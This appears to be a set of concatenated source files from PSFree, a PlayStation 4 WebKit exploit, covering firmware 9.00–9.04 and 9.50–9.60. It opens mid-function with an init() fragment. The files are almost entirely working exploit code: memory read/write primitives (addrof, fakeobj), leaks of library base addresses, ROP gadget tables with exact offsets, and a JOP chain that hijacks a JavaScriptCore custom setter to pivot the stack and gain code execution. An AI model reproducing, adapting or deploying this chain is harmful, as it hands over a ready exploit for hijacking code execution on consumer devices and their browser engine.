init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
let gs = Object.getOwnPropertyDescriptor(window, 'location').set;
// JSCustomGetterSetter.m_getterSetter
gs = mem.addrof(gs).readp(0x28);
// sizeof JSC::CustomGetterSetter
const size_cgs = 0x18;
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
mem.cpy(gc_buf, gs, size_cgs);
// JSC::CustomGetterSetter.m_setter
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
const proto = Chain.prototype;
// _rop must have a descriptor initially in order for the structure to pass
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
// checks for any descriptor to run
//
// the butterfly's indexing type must be something the GC won't inspect
// like DoubleShape. it will be used to store the JOP table's pointer
const _rop = {get launch() {throw Error('never call')}, 0: 1.1};
// replace .launch with the actual custom getter/setter
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
proto._rop = _rop;
// JOP table
const rax_ptrs = new BufferView(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
proto._rax_ptrs = rax_ptrs;
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
jop_buffer_p.write64(0, rax_ptrs_p);
const empty = {};
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
Chain.init_class(gadgets, syscall_array);
}

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/* Copyright (C) 2023-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 9.00, 9.03, 9.04
import { mem } from '../../module/mem.mjs';
import { KB } from '../../module/offset.mjs';
import { ChainBase, get_gadget } from '../../module/chain.mjs';
import { BufferView } from '../../module/rw.mjs';
import {
get_view_vector,
resolve_import,
init_syscall_array,
} from '../../module/memtools.mjs';
import * as off from '../../module/offset.mjs';
// WebKit offsets of imported functions
const offset_wk_stack_chk_fail = 0x178;
const offset_wk_strlen = 0x198;
// libSceNKWebKit.sprx
export let libwebkit_base = null;
// libkernel_web.sprx
export let libkernel_base = null;
// libSceLibcInternal.sprx
export let libc_base = null;
// TODO: gadgets for the JOP chain
//
// we'll use JSC::CustomGetterSetter.m_setter to redirect execution. its
// type is PutPropertySlot::PutValueFunc
const jop1 = `
mov rdi, qword ptr [rsi + 8]
mov rax, qword ptr [rdi]
jmp qword ptr [rax + 0x70]
`;
// rbp is now pushed, any extra objects pushed by the call instructions can be
// ignored
const jop2 = `
push rbp
mov rbp, rsp
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x30]
`;
const jop3 = `
mov rdx, qword ptr [rdx + 0x50]
mov ecx, 0xa
call qword ptr [rax + 0x40]
`;
const jop4 = `
push rdx
mov edi, 0xac9784fe
jmp qword ptr [rax]
`;
const jop5 = 'pop rsp; ret';
// the ps4 firmware is compiled to use rbp as a frame pointer
//
// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
// restore rbp (if needed) before the epilogue.
//
// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
// pushed earlier before the pivot, thus restoring the old rbp).
//
// leave instruction equivalent:
// mov rsp, rbp
// pop rbp
const webkit_gadget_offsets = new Map(Object.entries({
'pop rax; ret' : 0x0000000000051a12, // `58 c3`
'pop rbx; ret' : 0x00000000000be5d0, // `5b c3`
'pop rcx; ret' : 0x00000000000657b7, // `59 c3`
'pop rdx; ret' : 0x000000000000986c, // `5a c3`
'pop rbp; ret' : 0x00000000000000b6, // `5d c3`
'pop rsi; ret' : 0x000000000001f4d6, // `5e c3`
'pop rdi; ret' : 0x0000000000319690, // `5f c3`
'pop rsp; ret' : 0x000000000004e293, // `5c c3`
'pop r8; ret' : 0x00000000001a7ef1, // `47 58 c3`
'pop r9; ret' : 0x0000000000422571, // `47 59 c3`
'pop r10; ret' : 0x0000000000e9e1d1, // `47 5a c3`
'pop r11; ret' : 0x00000000012b1d51, // `47 5b c3`
'pop r12; ret' : 0x000000000085ec71, // `47 5c c3`
'pop r13; ret' : 0x00000000001da461, // `47 5d c3`
'pop r14; ret' : 0x0000000000685d73, // `47 5e c3`
'pop r15; ret' : 0x00000000006ab3aa, // `47 5f c3`
'ret' : 0x0000000000000032, // `c3`
'leave; ret' : 0x000000000008db5b, // `c9 c3`
'mov rax, qword ptr [rax]; ret' : 0x00000000000241cc, // `48 8b 00 c3`
'mov qword ptr [rdi], rax; ret' : 0x000000000000613b, // `48 89 07 c3`
'mov dword ptr [rdi], eax; ret' : 0x000000000000613c, // `89 07 c3`
'mov dword ptr [rax], esi; ret' : 0x00000000005c3482, // `89 30 c3`
[jop1] : 0x0000000000000000, // ``
[jop2] : 0x0000000000000000, // ``
[jop3] : 0x0000000000000000, // ``
[jop4] : 0x0000000000000000, // ``
[jop5] : 0x0000000000000000, // ``
}));
const libc_gadget_offsets = new Map(Object.entries({
'getcontext' : 0x24f04,
'setcontext' : 0x29448,
}));
const libkernel_gadget_offsets = new Map(Object.entries({
// returns the location of errno
'__error' : 0xCB80,
}));
export const gadgets = new Map();
function get_bases() {
const textarea = document.createElement('textarea');
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
const textarea_vtable = webcore_textarea.readp(0);
const off_ta_vt = 0x2e73c18;
const libwebkit_base = textarea_vtable.sub(off_ta_vt);
const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail);
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
const off_scf = 0x1ff60;
const libkernel_base = stack_chk_fail_addr.sub(off_scf);
const strlen_import = libwebkit_base.add(offset_wk_strlen);
const strlen_addr = resolve_import(strlen_import);
const off_strlen = 0x4fa40;
const libc_base = strlen_addr.sub(off_strlen);
return [
libwebkit_base,
libkernel_base,
libc_base,
];
}
export function init_gadget_map(gadget_map, offset_map, base_addr) {
for (const [insn, offset] of offset_map) {
gadget_map.set(insn, base_addr.add(offset));
}
}
class Chain900Base extends ChainBase {
push_end() {
this.push_gadget('leave; ret');
}
push_get_retval() {
this.push_gadget('pop rdi; ret');
this.push_value(this.retval_addr);
this.push_gadget('mov qword ptr [rdi], rax; ret');
}
push_get_errno() {
this.push_gadget('pop rdi; ret');
this.push_value(this.errno_addr);
this.push_call(this.get_gadget('__error'));
this.push_gadget('mov rax, qword ptr [rax]; ret');
this.push_gadget('mov dword ptr [rdi], eax; ret');
}
push_clear_errno() {
this.push_call(this.get_gadget('__error'));
this.push_gadget('pop rsi; ret');
this.push_value(0);
this.push_gadget('mov dword ptr [rax], esi; ret');
}
}
export class Chain900 extends Chain900Base {
constructor() {
super();
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
rdx.write64(off.js_cell, this._empty_cell);
rdx.write64(0x50, this.stack_addr);
this._rsp = mem.fakeobj(rdx);
}
run() {
this.check_allow_run();
this._rop.launch = this._rsp;
this.dirty();
}
}
export const Chain = Chain900;
export function init(Chain) {
const syscall_array = [];
[libwebkit_base, libkernel_base, libc_base] = get_bases();
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
let gs = Object.getOwnPropertyDescriptor(window, 'location').set;
// JSCustomGetterSetter.m_getterSetter
gs = mem.addrof(gs).readp(0x28);
// sizeof JSC::CustomGetterSetter
const size_cgs = 0x18;
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
mem.cpy(gc_buf, gs, size_cgs);
// JSC::CustomGetterSetter.m_setter
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
const proto = Chain.prototype;
// _rop must have a descriptor initially in order for the structure to pass
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
// checks for any descriptor to run
//
// the butterfly's indexing type must be something the GC won't inspect
// like DoubleShape. it will be used to store the JOP table's pointer
const _rop = {get launch() {throw Error('never call')}, 0: 1.1};
// replace .launch with the actual custom getter/setter
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
proto._rop = _rop;
// JOP table
const rax_ptrs = new BufferView(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
proto._rax_ptrs = rax_ptrs;
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
jop_buffer_p.write64(0, rax_ptrs_p);
const empty = {};
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
Chain.init_class(gadgets, syscall_array);
}

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/* Copyright (C) 2023-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 9.50, 9.51, 9.60
import { mem } from '../../module/mem.mjs';
import { KB } from '../../module/offset.mjs';
import { ChainBase, get_gadget } from '../../module/chain.mjs';
import { BufferView } from '../../module/rw.mjs';
import {
get_view_vector,
resolve_import,
init_syscall_array,
} from '../../module/memtools.mjs';
import * as off from '../../module/offset.mjs';
// WebKit offsets of imported functions
const offset_wk_stack_chk_fail = 0x178;
const offset_wk_strlen = 0x198;
// libSceNKWebKit.sprx
export let libwebkit_base = null;
// libkernel_web.sprx
export let libkernel_base = null;
// libSceLibcInternal.sprx
export let libc_base = null;
// TODO: gadgets for the JOP chain
//
// we'll use JSC::CustomGetterSetter.m_setter to redirect execution. its
// type is PutPropertySlot::PutValueFunc
const jop1 = `
mov rdi, qword ptr [rsi + 8]
mov rax, qword ptr [rdi]
jmp qword ptr [rax + 0x70]
`;
// rbp is now pushed, any extra objects pushed by the call instructions can be
// ignored
const jop2 = `
push rbp
mov rbp, rsp
mov rax, qword ptr [rdi]
call qword ptr [rax + 0x30]
`;
const jop3 = `
mov rdx, qword ptr [rdx + 0x50]
mov ecx, 0xa
call qword ptr [rax + 0x40]
`;
const jop4 = `
push rdx
mov edi, 0xac9784fe
jmp qword ptr [rax]
`;
const jop5 = 'pop rsp; ret';
// the ps4 firmware is compiled to use rbp as a frame pointer
//
// The JOP chain pushed rbp and moved rsp to rbp before the pivot. The chain
// must save rbp (rsp before the pivot) somewhere if it uses it. The chain must
// restore rbp (if needed) before the epilogue.
//
// The epilogue will move rbp to rsp (restore old rsp) and pop rbp (which we
// pushed earlier before the pivot, thus restoring the old rbp).
//
// leave instruction equivalent:
// mov rsp, rbp
// pop rbp
const webkit_gadget_offsets = new Map(Object.entries({
'pop rax; ret' : 0x0000000000011c46, // `58 c3`
'pop rbx; ret' : 0x0000000000013730, // `5b c3`
'pop rcx; ret' : 0x0000000000035a1e, // `59 c3`
'pop rdx; ret' : 0x000000000018de52, // `5a c3`
'pop rbp; ret' : 0x00000000000000b6, // `5d c3`
'pop rsi; ret' : 0x0000000000092a8c, // `5e c3`
'pop rdi; ret' : 0x000000000005d19d, // `5f c3`
'pop rsp; ret' : 0x00000000000253e0, // `5c c3`
'pop r8; ret' : 0x000000000003fe32, // `47 58 c3`
'pop r9; ret' : 0x0000000000aaad51, // `47 59 c3`
// Not found in 9.50-9.60, but not currently used in exploit
// 'pop r10; ret' : 0x0000000000000000, // `4(1,3,5,7,9,b,d,f) 5a c3`
'pop r11; ret' : 0x0000000001833a21, // `47 5b c3`
'pop r12; ret' : 0x0000000000420ad1, // `47 5c c3`
'pop r13; ret' : 0x00000000018fc4c1, // `47 5d c3`
'pop r14; ret' : 0x000000000028c900, // `41 5e c3`
'pop r15; ret' : 0x0000000001437c8a, // `47 5f c3`
'ret' : 0x0000000000000032, // `c3`
'leave; ret' : 0x0000000000056322, // `c9 c3`
'mov rax, qword ptr [rax]; ret' : 0x000000000000c671, // `48 8b 00 c3`
'mov qword ptr [rdi], rax; ret' : 0x0000000000010c07, // `48 89 07 c3`
'mov dword ptr [rdi], eax; ret' : 0x00000000000071d0, // `89 07 c3`
'mov dword ptr [rax], esi; ret' : 0x000000000007ebd8, // `89 30 c3`
[jop1] : 0x0000000000000000, // ``
[jop2] : 0x0000000000000000, // ``
[jop3] : 0x0000000000000000, // ``
[jop4] : 0x0000000000000000, // ``
[jop5] : 0x0000000000000000, // ``
}));
const libc_gadget_offsets = new Map(Object.entries({
'getcontext' : 0x21284,
'setcontext' : 0x254dc,
}));
const libkernel_gadget_offsets = new Map(Object.entries({
// returns the location of errno
'__error' : 0xbb60,
}));
export const gadgets = new Map();
function get_bases() {
const textarea = document.createElement('textarea');
const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl);
const textarea_vtable = webcore_textarea.readp(0);
const off_ta_vt = 0x2ebea68;
const libwebkit_base = textarea_vtable.sub(off_ta_vt);
const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail);
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
const off_scf = 0x28870;
const libkernel_base = stack_chk_fail_addr.sub(off_scf);
const strlen_import = libwebkit_base.add(offset_wk_strlen);
const strlen_addr = resolve_import(strlen_import);
const off_strlen = 0x4c040;
const libc_base = strlen_addr.sub(off_strlen);
return [
libwebkit_base,
libkernel_base,
libc_base,
];
}
export function init_gadget_map(gadget_map, offset_map, base_addr) {
for (const [insn, offset] of offset_map) {
gadget_map.set(insn, base_addr.add(offset));
}
}
class Chain950Base extends ChainBase {
push_end() {
this.push_gadget('leave; ret');
}
push_get_retval() {
this.push_gadget('pop rdi; ret');
this.push_value(this.retval_addr);
this.push_gadget('mov qword ptr [rdi], rax; ret');
}
push_get_errno() {
this.push_gadget('pop rdi; ret');
this.push_value(this.errno_addr);
this.push_call(this.get_gadget('__error'));
this.push_gadget('mov rax, qword ptr [rax]; ret');
this.push_gadget('mov dword ptr [rdi], eax; ret');
}
push_clear_errno() {
this.push_call(this.get_gadget('__error'));
this.push_gadget('pop rsi; ret');
this.push_value(0);
this.push_gadget('mov dword ptr [rax], esi; ret');
}
}
export class Chain950 extends Chain950Base {
constructor() {
super();
const [rdx, rdx_bak] = mem.gc_alloc(0x58);
rdx.write64(off.js_cell, this._empty_cell);
rdx.write64(0x50, this.stack_addr);
this._rsp = mem.fakeobj(rdx);
}
run() {
this.check_allow_run();
this._rop.launch = this._rsp;
this.dirty();
}
}
export const Chain = Chain950;
export function init(Chain) {
const syscall_array = [];
[libwebkit_base, libkernel_base, libc_base] = get_bases();
init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
init_syscall_array(syscall_array, libkernel_base, 300 * KB);
let gs = Object.getOwnPropertyDescriptor(window, 'location').set;
// JSCustomGetterSetter.m_getterSetter
gs = mem.addrof(gs).readp(0x28);
// sizeof JSC::CustomGetterSetter
const size_cgs = 0x18;
const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
mem.cpy(gc_buf, gs, size_cgs);
// JSC::CustomGetterSetter.m_setter
gc_buf.write64(0x10, get_gadget(gadgets, jop1));
const proto = Chain.prototype;
// _rop must have a descriptor initially in order for the structure to pass
// setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
// call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
// checks for any descriptor to run
//
// the butterfly's indexing type must be something the GC won't inspect
// like DoubleShape. it will be used to store the JOP table's pointer
const _rop = {get launch() {throw Error('never call')}, 0: 1.1};
// replace .launch with the actual custom getter/setter
mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
proto._rop = _rop;
// JOP table
const rax_ptrs = new BufferView(0x100);
const rax_ptrs_p = get_view_vector(rax_ptrs);
proto._rax_ptrs = rax_ptrs;
rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
rax_ptrs.write64(0, get_gadget(gadgets, jop5));
const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
jop_buffer_p.write64(0, rax_ptrs_p);
const empty = {};
proto._empty_cell = mem.addrof(empty).read64(off.js_cell);
Chain.init_class(gadgets, syscall_array);
}

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